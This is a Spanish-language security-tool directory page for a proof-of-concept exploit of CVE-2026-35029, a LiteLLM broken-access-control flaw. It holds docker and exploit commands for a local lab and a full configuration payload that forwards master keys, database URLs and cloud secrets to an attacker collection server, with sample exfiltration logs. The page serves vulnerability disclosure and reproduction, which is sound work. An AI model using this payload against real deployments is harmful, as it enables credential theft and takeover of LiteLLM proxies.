Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-35029-PoC — El código para reproducir personalmente la vulnerabilidad correspondiente | Kitploit
Herramientas/GitHubGitHub/learner202649/cve-2026-35029-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHublearner202649/cve-2026-35029-poc

CVE-2026-35029-PoC

El código para reproducir personalmente la vulnerabilidad correspondiente

Ver Repositorio
12hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-35029 — Vulnerabilidad de control de acceso roto en /config/update de LiteLLM (Broken Access Control)

El endpoint /config/update de LiteLLM no comprueba los permisos de rol del solicitante. Cualquier usuario autenticado con una API Key válida (sin necesidad de permisos de administrador) puede modificar la configuración del proxy y registrar endpoints Pass-Through maliciosos para lograr robo de variables de entorno, lectura arbitraria de archivos, ejecución remota de código, entre otros ataques.

CampoValor
CVECVE-2026-35029
CVSS v4.08.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization)
AfectadosLiteLLM < 1.83.0
Corregidov1.83.0+ (se añadió la comprobación del rol proxy_admin en /config/update)
Publicado2026-04-06
Descubierto porTimo Müller — SEC Consult Vulnerability Lab (Munich)
Detectado2026-02-24
EnlacesGHSA-53mr-6c8q-9789 • NVD • SEC Consult

Descripción

El endpoint /config/update de LiteLLM debería permitir únicamente llamadas del rol proxy_admin, pero antes de la v1.83.0 no realizaba ninguna comprobación de rol. Cualquier usuario con una API Key válida podía invocar este endpoint.

Vectores de ataque

Tipo de ataqueDescripción
Robo de variables de entornoRegistrar un endpoint Pass-Through y robar DATABASE_URL, LITELLM_MASTER_KEY, etc., mediante referencias de cabecera os.environ/VAR_NAME
Lectura arbitraria de archivosAprovechar la característica de codificación Base64 de las cabeceras LANGFUSE_* para leer el sistema de archivos del servidor
Manipulación de configuraciónSobrescribir UI_USERNAME y UI_PASSWORD para secuestrar la cuenta de administrador
Ejecución remota de códigoRegistrar un manejador de endpoint Pass-Through que apunte al código Python del atacante

Impacto

  • Usuario con bajos privilegios → privilegios completos de administrador
  • Fuga de variables de entorno sensibles (credenciales de bases de datos, claves API, credenciales de servicios en la nube)
  • Lectura arbitraria de archivos (archivos de configuración, certificados, archivos shadow)
  • Explotable en cadena con otras vulnerabilidades (CVE-2026-35030)

Prueba de concepto

Inicio rápido (Docker)

⚠️ Importante: el docker-compose.yml fija la imagen vulnerable a un digest específico (sha256:5beb4ea6...) del 24 de enero de 2026. No lo cambie a main-v1.81.0-stable ni a ninguna otra etiqueta mutable: las imágenes posteriores pueden haberse reconstruido con correcciones, lo que rompería la reproducción.

# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d

# 2. 安装依赖
pip install -r requirements.txt

# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4001 \
  --key sk-litellm-master-key --fixed

Nota: al iniciar el contenedor por primera vez, espere unos 30-60 s (comprobación de salud de PostgreSQL + migración de la base de datos de Prisma); ejecute el exploit solo cuando aparezca Uvicorn running on http://0.0.0.0:4000 en los registros del contenedor.

Salida esperada

Robo de variables de entorno:

======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================

[*] Step 1: Registering pass-through endpoint via /config/update...
    Payload: {
        "general_settings": {
            "pass_through_endpoints": [
                {
                    "path": "/exfil/env",
                    "target": "http://exfil-server:9999/collect",
                    "headers": {
                        "X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
                        "X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
                        "X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
                        "X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
                    }
                }
            ]
        }
    }
    HTTP 200
    [+] Config update accepted!

[*] Step 2: Waiting for pass-through route propagation...
    6 seconds...

[*] Step 3: Triggering pass-through endpoint at /exfil/env...
    HTTP 200
    Response: {"status":"received","message":"Data captured by exfiltration server"}

[*] Step 4: Checking exfiltration server for stolen data...

[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
   Path  : /collect
   Headers:
     X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
     X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
     X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
     X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked

[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!

La versión corregida deniega el acceso (devuelve 403 al usar una Key no administradora):

======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
    HTTP 403
    [-] Forbidden — target may be patched (v1.83.0+)
    [+] Expected: fixed version blocks non-admin config updates

Nota: si utiliza la Master Key (sk-litellm-master-key) para probar la versión corregida, la actualización de configuración seguirá devolviendo HTTP 200 (la Master Key tiene el rol proxy_admin), pero el registro del endpoint Pass-Through puede no surtir efecto o ser ignorado silenciosamente. Se recomienda usar una Key no administradora para verificar la corrección.


Detalle de la cadena de ataque

Descargar herramienta